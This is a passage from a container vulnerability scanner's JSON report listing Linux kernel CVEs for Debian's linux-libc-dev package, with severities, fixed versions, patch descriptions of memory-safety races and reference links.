"https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-53262" ], "PublishedDate": "2026-06-25T09:16:44.19Z", "LastModifiedDate": "2026-10-30T13:19:14.403Z" }, { "VulnerabilityID": "CVE-2026-53264", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53264", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:17fc24f443195a14432f1024b3764767d757a1a224dbdbad6ca7ed8898bd6ff8", "Title": "kernel: net/sched: act_api: use RCU with deferred freeing for action lifecycle", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_api: use RCU with deferred freeing for action lifecycle\n\nWhen NEWTFILTER and DELFILTER are run concurrently it is possible to create a\nrace with an associated action.\n\nLet's illustrate with CPU0 running NEWTFILTER and CPU1 running DELFILTER:\n\n 0: mutex_lock() \u003c-- holds the idr lock\n 0: rcu_read_lock()\n 0: p = idr_find(idr, index) \u003c-- action p is valid (RCU protects IDR)\n 0: mutex_unlock() \u003c-- releases the idr lock\n 1: refcount_dec_and_mutex_lock() \u003c-- refcnt 1-\u003e0, mutex held\n 1: idr_remove(idr, index) \u003c-- Action removed from IDR\n 1: mutex_unlock() \u003c-- mutex released allowing us to delete the action\n 1: tcf_action_cleanup(p); kfree(p) \u003c-- Kfrees p immediately, no deferral\n 0: refcount_inc_not_zero(\u0026p-\u003etcfa_refcnt) \u003c-- ouch, UAF p points to freed memory\n\nThis patch fixes the race condition between NEWTFILTER and DELFILTER by\nadding struct rcu_head to tc_action used in the deferral and introducing a\ncall_rcu() in the delete path to defer the final kfree().\n\nNote: this is a revert of commit d7fb60b9cafb (\"net_sched: get rid of tcfa_rcu\")\nbut also modernization/simplification to directly use kfree_rcu().\n\nLet's illustrate the new restored code path:\n\n 0: rcu_read_lock()\n 1: refcount_dec_and_mutex_lock() \u003c-- refcnt 1-\u003e0, mutex held\n 1: idr_remove(idr, index)\n 1: mutex_unlock()\n 1: call_rcu(\u0026p-\u003etcfa_rcu, tcf_action_rcu_free) \u003c-- defer kfree after grace period\n 0: p = idr_find(idr, index)\n 0: refcount_inc_not_zero(\u0026p-\u003etcfa_refcnt) \u003c-- fails, refcnt already 0\n 1: rcu_read_unlock() \u003c-- release so freeing can run after grace period\n\nAfter CPU1 calls idr_remove(), the object is no longer reachable through the IDR.\nCPU0's subsequent idr_find() will return NULL, and even if it still held a\nstale pointer, the immediate kfree() is now deferred until after the RCU grace\nperiod, so no UAF can occur.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:54443", "https://access.redhat.com/security/cve/CVE-2026-53264", "https://bugzilla.redhat.com/2492823", "https://bugzilla.redhat.com/2492851", "https://bugzilla.redhat.com/show_bug.cgi?id=2492823", "https://bugzilla.redhat.com/show_bug.cgi?id=2492851", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53202", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53264", "https://errata.almalinux.org/9/ALSA-2026-54443.html", "https://errata.rockylinux.org/RLSA-2026:54443", "https://git.kernel.org/linus/5057e1aca011e51ef51498c940ef96f3d3e8a305%20%287.1-rc7%29", "https://git.kernel.org/stable/c/18af5d2ef0c4f65787fd1280c8b23286b9f2a835", "https://git.kernel.org/stable/c/1f1b98fea6b9ea30507d0f2fbff6750292d097e2", "https://git.kernel.org/stable/c/5057e1aca011e51ef51498c940ef96f3d3e8a305", "https://git.kernel.org/stable/c/5dd51e09020c65aa53cf128e5e3517cd53b3c113", "https://git.kernel.org/stable/c/8b136f18ac4b2ace5aaad3305b3f8a5d8165a009", "https://git.kernel.org/stable/c/91d105d2cbe002f9c7b43a6183adedc37e1da1f7", "https://git.kernel.org/stable/c/98b2e40879abf0245be5a5b7af69e0f6ff524ac3", "https://git.kernel.org/stable/c/b60e9391142e983fab2be53497aa8f71fdd09cd5", "https://linux.oracle.com/cve/CVE-2026-53264.html", "https://linux.oracle.com/errata/ELSA-2026-54443.html", "https://lore.kernel.org/linux-cve-announce/2026062517-CVE-2026-53264-081f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53264", "https://starlabs.sg/blog/2026/07-when-ai-makes-0-days-feel-like-n-days/", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53264" ], "PublishedDate": "2026-06-25T09:16:44.4Z", "LastModifiedDate": "2026-10-15T02:20:07.843Z" }, { "VulnerabilityID": "CVE-2026-53266", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53266", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d27a9d7884a7633d30ed991e0367af93b8bc70f6d7c506ee8f8ff1372da7801e", "Title": "kernel: netfilter: ebtables SNAT target writes to shared memory pages during ARP hardware address rewrite", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: bridge: make ebt_snat ARP rewrite writable\n\nThe ebtables SNAT target keeps the Ethernet source address rewrite\nbehind skb_ensure_writable(skb, 0). This is intentional: at the bridge\nebtables hooks the Ethernet header is addressed through\nskb_mac_header()/eth_hdr(), while skb-\u003edata points at the Ethernet\npayload. Asking skb_ensure_writable() for ETH_HLEN bytes would check\nthe payload, not the Ethernet header, and would reintroduce the small\npacket regression fixed by commit 63137bc5882a.\n\nHowever, the optional ARP sender hardware address rewrite is different.\nIt writes through skb_store_bits() at an offset relative to skb-\u003edata:\n\n skb_store_bits(skb, sizeof(struct arphdr), info-\u003emac, ETH_ALEN)\n\nskb_header_pointer() only safely reads the ARP header; it does not make\nthe later sender hardware address range writable. If that range is\nstill held in a nonlinear skb fragment backed by a splice-imported file\npage, skb_store_bits() maps the frag page and copies the new MAC address\ndirectly into it.\n\nEnsure the ARP SHA range is writable before reading the ARP header and\nbefore calling skb_store_bits().", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:36645", "https://access.redhat.com/security/cve/CVE-2026-53266", "https://bugzilla.redhat.com/2467019", "https://bugzilla.redhat.com/2483519", "https://bugzilla.redhat.com/2485368", "https://errata.almalinux.org/9/ALSA-2026-36645.html", "https://git.kernel.org/linus/67ba971ae02514d85818fe0c32549ab4bfa3bf49%20%287.1-rc7%29", "https://git.kernel.org/stable/c/153ea96c806aea395daba907a4f88480b6ad5093", "https://git.kernel.org/stable/c/67ba971ae02514d85818fe0c32549ab4bfa3bf49", "https://git.kernel.org/stable/c/76280b78cc9f23bdc6438e10ad6dff148ef8375b", "https://git.kernel.org/stable/c/afd64b59c3de9bbbdd3759e834fdc55cda716e0b", "https://git.kernel.org/stable/c/b18675263db1147c8e1cab625400c13a0d87bd2d", "https://git.kernel.org/stable/c/b7e91939ba9be805a62a257fa4e227dffbb88fa0", "https://git.kernel.org/stable/c/bf84ad7c7a9ede46e31afaa41a1ba06a159e8c87", "https://git.kernel.org/stable/c/c9b5ff59feffb92a147a84a5aa28acd2cb8ff4c5", "https://linux.oracle.com/cve/CVE-2026-53266.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://lore.kernel.org/linux-cve-announce/2026062517-CVE-2026-53266-6162@gregkh/T/#u", "https://nvd.nist.gov/vuln/detail/CVE-2026-53266", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-53266", "https://www.cve.org/CVERecord?id=CVE-2026-53266" ], "PublishedDate": "2026-06-25T09:16:44.643Z", "LastModifiedDate": "2026-09-19T04:17:53.58Z" }, { "VulnerabilityID": "CVE-2026-53272", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53272", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:358fc8136aa8fab941ee1080e758efbb26032753f4e9cf0bb71451856d74b47d", "Title": "kernel: erofs: fix use-after-free on sbi-\u003esync_decompress", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nerofs: fix use-after-free on sbi-\u003esync_decompress\n\nz_erofs_decompress_kickoff() can race with filesystem unmount, causing\na use-after-free on sbi-\u003esync_decompress.\n\nWhen I/O completes, z_erofs_endio() calls z_erofs_decompress_kickoff()\nto queue z_erofs_decompressqueue_work() asynchronously. Then, after all\nfolios are unlocked, unmount workflow can proceed and sbi will be freed\nbefore accessing to sbi-\u003esync_decompress.\n\nThread (unmount) I/O completion kworker\n queue_work\n z_erofs_decompressqueue_work\n (all folios are unlocked)\ncleanup_mnt\n ..\n erofs_kill_sb\n erofs_sb_free\n kfree(sbi)\n access sbi-\u003esync_decompress // UAF!!", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53272", "https://git.kernel.org/linus/1aee05e814d292064bf5fa15733741040cdc48ba%20%287.1-rc7%29", "https://git.kernel.org/stable/c/00bf6868df65fa95b3854996246d15759fdc7070", "https://git.kernel.org/stable/c/1aee05e814d292064bf5fa15733741040cdc48ba", "https://git.kernel.org/stable/c/5627e57f1da68ff0146896eb3d2eed25e62adc44", "https://git.kernel.org/stable/c/59db5d8bcc65e04d8598afd81ec3a18edb407470", "https://git.kernel.org/stable/c/86ab00cf81d44b675bb23db62b88fd76c8ac8cea", "https://git.kernel.org/stable/c/95caf60da33d87ed26c28993620f0d92487b0296", "https://kernelcve.org/list/?q=CVE-2026-53272", "https://linux.oracle.com/cve/CVE-2026-53272.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062518-CVE-2026-53272-9faa@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53272", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://www.cve.org/CVERecord?id=CVE-2026-53272" ], "PublishedDate": "2026-06-25T09:16:45.353Z", "LastModifiedDate": "2026-11-06T17:18:17.623Z" }, { "VulnerabilityID": "CVE-2026-53294", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53294", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e043788ca262b7080e4d0f2a54712ee22f5fb3ccfa6666ca3f05b1f487649119", "Title": "kernel: mailbox: mailbox-test: don't free the reused channel", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmailbox: mailbox-test: don't free the reused channel\n\nThe RX channel can be aliased to the TX channel if it has a different\nMMIO. This special case needs to be handled when freeing the channels\notherwise a double-free occurs.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53294", "https://git.kernel.org/linus/88ebadbf0deefdaccdab868b44ff70a0a257f473%20%287.1-rc2%29", "https://git.kernel.org/stable/c/240c71a2aea36a1a4210f911a1c32ea88777e8e4", "https://git.kernel.org/stable/c/3afca89fae501dbd7421e1777b5b8f033b1d98d0", "https://git.kernel.org/stable/c/5c209299b0113e289e238fa5f2e8f00c59f76060", "https://git.kernel.org/stable/c/5d4f3d0f64f1016cb78b400a70b67df91fac99b5", "https://git.kernel.org/stable/c/82f6dcea46cf5de65c4ba7283f7c7b34de4a324d", "https://git.kernel.org/stable/c/88ebadbf0deefdaccdab868b44ff70a0a257f473", "https://git.kernel.org/stable/c/c494a11da45ad7ec9b0ff216c3e3ace351193bb6", "https://git.kernel.org/stable/c/fc0089f82c3e36060c2c79156bc2018bfb16b56b", "https://kernelcve.org/list/?q=CVE-2026-53294", "https://lore.kernel.org/linux-cve-announce/2026062617-CVE-2026-53294-0b30@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53294", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53294" ], "PublishedDate": "2026-06-26T20:17:22.31Z", "LastModifiedDate": "2026-11-06T17:18:21.513Z" }, { "VulnerabilityID": "CVE-2026-53296", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53296", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9f3c31cc5e01e66bd02c63023fb0f40157ce6232712abfa838e47f216fd64798", "Title": "kernel: mailbox: mailbox-test: free channels on probe error", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmailbox: mailbox-test: free channels on probe error\n\nOn probe error, free the previously obtained channels. This not only\nprevents a leak, but also UAF scenarios because the client structure\nwill be removed nonetheless because it was allocated with devm.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53296", "https://git.kernel.org/linus/c02053a9055d5fdfd32432287cca8958db1d5bc5%20%287.1-rc2%29", "https://git.kernel.org/stable/c/02beb178e2e159daeb8f992d7abb16a37da31664", "https://git.kernel.org/stable/c/0ad8c4a03a358de7811ba1ab8cbd1fe76ad0ff6b", "https://git.kernel.org/stable/c/15c4cc3850cfe1b973eb7b63c02314b267f06a64", "https://git.kernel.org/stable/c/187069ccc3474516af32350e20d7e449160fa6de", "https://git.kernel.org/stable/c/6c6ce2ccb4fcf1617fec83f91b21aa0265f30701", "https://git.kernel.org/stable/c/742001919653e7313b4e91780c5d108be1692365", "https://git.kernel.org/stable/c/81c9e7e4030e71391ab479c4c6e17b64802577aa", "https://git.kernel.org/stable/c/c02053a9055d5fdfd32432287cca8958db1d5bc5", "https://kernelcve.org/list/?q=CVE-2026-53296", "https://lore.kernel.org/linux-cve-announce/2026062618-CVE-2026-53296-fd81@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53296", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53296" ], "PublishedDate": "2026-06-26T20:17:22.557Z", "LastModifiedDate": "2026-11-06T17:18:22.857Z" }, { "VulnerabilityID": "CVE-2026-53303", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53303", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:979a6e02c93cb4e6338b94df2c1ccaaed164918c25c480fe70725ae9d6c5c3c8", "Title": "kernel: f2fs: protect extension_list reading with sb_lock in f2fs_sbi_show()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: protect extension_list reading with sb_lock in f2fs_sbi_show()\n\nIn f2fs_sbi_show(), the extension_list, extension_count and\nhot_ext_count are read without holding sbi-\u003esb_lock. If a concurrent\nsysfs store modifies the extension list via f2fs_update_extension_list(),\nthe show path may read inconsistent count and array contents, potentially\nleading to out-of-bounds access or displaying stale data.\n\nFix this by holding sb_lock around the entire extension list read\nand format operation.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53303", "https://git.kernel.org/linus/5909bedbed38c558bee7cb6758ceedf9bc3a9194%20%287.1-rc1%29", "https://git.kernel.org/stable/c/4b3a1bf4c2ffd4c9595d900ead78c9035894a025", "https://git.kernel.org/stable/c/5909bedbed38c558bee7cb6758ceedf9bc3a9194", "https://git.kernel.org/stable/c/cea15f66b7b68b2c50943a6660e0692c6635e4eb", "https://git.kernel.org/stable/c/d0e877810baf613b018fd9747440b9d4d9db1428", "https://git.kernel.org/stable/c/d3ff0c121bbaef026df6248ab7ef6f0b068b0647", "https://git.kernel.org/stable/c/ea3ab43a1f3cf2c7cecd75c8be1ee99a5e94a92e", "https://lore.kernel.org/linux-cve-announce/2026062619-CVE-2026-53303-adc7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53303", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53303" ], "PublishedDate": "2026-06-26T20:17:23.527Z", "LastModifiedDate": "2026-07-06T20:24:23.577Z" }, { "VulnerabilityID": "CVE-2026-53309", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53309", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": 